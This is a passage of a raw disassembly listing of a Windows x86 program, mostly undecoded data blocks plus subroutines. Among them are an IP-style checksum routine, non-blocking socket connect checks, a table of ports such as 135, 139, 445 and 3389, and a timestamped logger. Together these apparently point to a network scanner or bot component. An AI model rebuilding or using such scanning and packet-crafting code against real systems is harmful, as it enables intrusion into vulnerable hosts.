		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22DBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2DBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022DBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 80E89000h, 2B0228C8h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69D0E9E8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EE4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22DB8BCh, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 0E8500C45h
		dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57068ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 84E890FCh, 2B0228C3h, 0D233F845h,	3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022DB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0D8E890FFh, 2B0228BCh, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 27B4D4E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436148
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436134
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 279027Eh
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436194
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436180
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361C4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361A8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dd 2DAC47E8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
